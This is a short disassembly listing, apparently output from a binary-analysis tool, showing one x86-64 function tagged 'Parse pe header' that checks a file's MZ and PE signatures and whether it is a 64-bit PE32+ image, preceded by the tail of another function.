mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x18000f220
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18000f248
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18000f248
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret